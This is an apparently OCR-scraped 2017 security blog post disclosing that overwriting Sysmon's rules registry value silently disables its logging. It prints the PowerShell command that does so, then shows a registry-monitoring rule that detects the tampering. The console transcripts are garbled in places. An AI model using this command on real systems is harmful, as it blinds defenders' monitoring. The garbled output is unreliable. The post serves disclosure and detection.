Tales from Infosec: Killing Sysmon Silently - 31/10/2024 20:20 https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html

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Ramblings of an information security professional.

## Monday, December 11, 2017

# Killing Sysmon Silently

Today I've got a mini-blog with commentary on what I view as a pretty nasty bug in Sysinternals' Sysmon.

After reading Sysinternals Sysmon suspicious activity guide I started playing with GPO/registry based rule changes for my own deployment of sysmon configs internally.

While testing, I noticed that Sysmon's EventID 16, the event logged when Sysmon detects a configuration change, does not occur when HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters\Rules is modified directly.

To me, this is huge for an attacker. They have the ability to silently kill Sysmon on a machine without raising the

Consider the following example: I've applied a config using the -c argument on sysmon.exe, verified that a config state change event was generated, destroyed the config using Powershell without another event ID 16 being generated, and verified that Sysmon is now broken and may not be logging as defenders had intended. As an attacker I could have also brought in my own valid config that disables all logging as well  $\stackrel{m{c}}{\hookrightarrow}$ 

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```
+ CategoryInfo : ObjectNotFound: (:) [Get-WinEvent], Exception
+ FullyQualifiedErrorId : NoMatchingEventsFound,Microsoft.Powershell.Co
PS C:\> <mark>sysmon -</mark>c .\sysmon-mini.xml
System Monitor v6.20 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com
Loading configuration file with schema version 3.40
Configuration file validated.
Configuration updated.
PS C:\> get-winevent -FilterHashtable @{providername="Microsoft-windows-sysmon"} `
>> | ? {$_.Id -eq 16}
>> | Format-List TimeCreated,Message
TimeCreated : 12/11/2017 1:19:29 PM
Message : Sysmon config state changed:
UtcTime: 2017-12-11 18:19:29:149
Configuration: C:\sysmon-mini.xml
ConfigurationFileHash: SHA1=C348E196CD3905258057BCACDCB25C2330163171
PS C:\> Set-ItemProperty `
>> -Path HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters `
>> -Name Rules `
>> -Value @()
PS C:\> get-winevent -FilterHashtable @{providername="Microsoft-Windows-Sysmon"} `
>> | ? {$_.Id -eq 16} `
>> | Format-List TimeCreated, Message
TimeCreated : 12/11/2017 1:19:29 PM
Message : Sysmon config state changed:
UtcTime: 2017-12-11 18:19:29.149
Configuration: C:\sysmon-mini.xml
ConfigurationFileHash: SHA1=C348E196CD3905258057BCACDCB25C2330163171
PS C:\> sysmon -c
System Monitor v6.20 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com
Current configuration:
- Service name:
- Driver name:
- HashingAlgorithms:
- Network connection:
- Image loading:
- CRL checking:
- Process Access
                                                                              Sysmon
                                                                              SysmonDrv
MD5,SHA256
disabled
disabled
                                                                              disabled
disabled
      Process Access:
 Failed to open rules configuration with last ruleError 13
```

Blog Archive

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So how could a defender detect this? As it turns out, with Sysmon!

If you add a RegistryEvent option to your config looking for modifications to SysmonDrv, you can spot someone messing with Sysmon in your environment.

Here's what my demo config looks like:

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```
sysmon-mini.xml hosted with ♥ by GitHub view raw

And here it is in action
```

```
PS C:\> sysmon -c
System Monitor v6.20 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com
Current configuration:
  - Service name:
                                                               Sysmon
  - Driver name:
                                                              SysmonDrv
MD5,SHA256
disabled
  - HashingAlgorithms:
     Network connection:
Image loading:
                                                               disabled
                                                               disabled
  CRL checking:
                                                               disabled
  - Process Access:
Failed to open rules configuration with last ruleError 13
PS C:\> get-winevent -FilterHashtable @{providername="Microsoft-Windows-Sysmon"} `
>> | ? {$_.Id -eq 16 `
>> -or (($_.ID -eq 12 -or $_.ID -eq 13 -or $_.ID -eq 13) `
>> -and $_.Message -like "*Sysmon*")} `
>> Incompatibility TimeCrosoft
>> | Format-List TimeCreated Message
PS C:\> Set-ItemProperty `
     -Path HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters `
>> -Name Rules
     -Value @()
>> - variue @()
PS C:\> get-winevent -FilterHashtable @{providername="Microsoft-Windows-Sysmon"} `
>> | ? {$_.Id -eq 16 `
>> -or (($_.ID -eq 12 -or $_.ID -eq 13 -or $_.ID -eq 13) `
>> -and $_.Message -like "*Sysmon*")}
>> | Format-List TimeCreated,Message
: Registry value set:
Message
                         EventType: SetValue
UtcTime: 2017-12-11 18:16:42.608
ProcessGuid: {9C88867F-960E-5A2E-0000-0010CCBA2E01}
ProcessId: 13028
                          Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetObject: HKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\Rules
                          Details: Binary Data
PS C:\>
```

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By Eric at December 11, 2017

Labels: blueteam, dfir, redteam, sysinternals, sysmon
```

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ebbieibanez March 4, 2022 at 3:13 AM

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## Killing Sysmon Silently



#### Killing Sysmon Silently

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